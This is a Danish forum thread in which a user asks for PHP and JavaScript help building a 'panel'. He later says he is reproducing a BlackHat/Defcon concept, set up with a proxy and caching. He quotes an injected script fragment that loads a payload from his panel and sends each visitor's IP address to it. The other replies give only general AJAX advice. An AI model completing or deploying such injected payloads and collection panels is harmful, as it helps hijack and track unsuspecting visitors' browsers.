Nogle der har styr på PHP?
|
15-10-2013, 20:53
(Denne besked var sidst ændret: 16-10-2013, 15:47 af MalcolmXI.)
|
|||
|
|||
Nogle der har styr på PHP?
HeY
Står og mangler noget hjælp med et PHP Panel. Det er utrolig basalt, men har ikke datalogi før på næste fredag ;) I bund og grund skal jeg have hjælp med at forbinde noget javascript til et PHP-script, og lade scriptet gemme de valgte oplysninger til senere brug. Derfor er det næsten et krav at du kan lidt javascript også. Har prøvet at få det til at virke de sidste par dage, men desværre har jeg ikke nok viden til at få det til at virke. Det er et halv-nyt koncept, så der er ikke så meget hjælp at hente på nettet. MlX ;) |
|||
15-10-2013, 21:24
|
|||
|
|||
RE: Nogle der har styr på PHP?
Javascript er client side og PHP er server side så hvis du vil sende informationer er du ude i enten at sende via POST/GET over ajax til PHP scriptet.
Ellers kan du også gemme information i cookien som bliver sendt til server og herfra læse i php scriptet.
Følg mig på twitter: https://twitter.com/Morph3s
|
|||
16-10-2013, 11:22
|
|||
|
|||
RE: Nogle der har styr på PHP?
Lav et PHP script der gemmer oplysninger det modtager over POST. Lav derefter et JavaScript der sender over POST vha. Et XMLHTTP library såsom jQuery.
|
|||
16-10-2013, 16:06
(Denne besked var sidst ændret: 16-10-2013, 17:26 af MalcolmXI.)
|
|||
|
|||
RE: Nogle der har styr på PHP?
Har kigget på Ajax, men ville hellere se om det kan lykkedes på samme måde som originalen. Prøver at følge et koncept præsenteret på BlackHat, Defcon og Sec-T.
Sec-T præsentation: http://www.youtube.com/watch?v=RfEuBAbRLAg BlackHat Slides: http://media.blackhat.com/bh-us-12/Brief...Slides.pdf PDF om emnet: http://media.blackhat.com/bh-us-12/Brief...uys_WP.pdf Som i kan se ser det originale script således ud: Kode: function payload() { I Sec-T præsentationen lige omkring 42:19 ses koden indskrænket i (x == null) betingelsen til kun 2 linier. Dette vil se cirka således ud: Kode: document.write("<script>function getip(json) {document.write('<script type=\\\"application/javascript\\\" src=\\\"http://localhost/panel/payload.php?id=\'+ json.ip + \'\\\"><scr\'+\'ipt>');};</script>"); Kan jeg fjerne alle de underlige tegn, og stadig på scriptet til at kalde den IP funktion? Har baseret jsonip.php scriptet på følgende eksempel: https://gist.github.com/jonahlyn/1933272 payload.php skulle så indeholde de javascript funktioner der begynder at blive spændende (de er også i de første links) Har fået proxy(og opsætning) + apache(mod_expires) + tmp folder + permissions og hele skidtet til at virke. Mangler bare at finde ud af hvordan panelet skal virke. Hvis scriptet sender ?callback=IP Adressen til payload.php?id=IP Adressen, skal jeg så bruge if( $_GET["id"] { Kør de resterende javascripts (I payload.php scriptet). } Nok lidt af en ulækker mundfuld, men har brugt et par lede dage på det. |
|||
18-10-2013, 19:32
|
|||
|
|||
RE: Nogle der har styr på PHP?
Noget jeg ikke kan forstå er hvorfor funktionen getip(json) bliver kaldt fra php scriptet, når det kun er i html scriptet. Tror i de har smidt de 2 scripts sammen?
Eller kan det tænkes de har gjort noget helt andet? :/ |
|||
|
User(s) browsing this thread: 1 Gæst(er)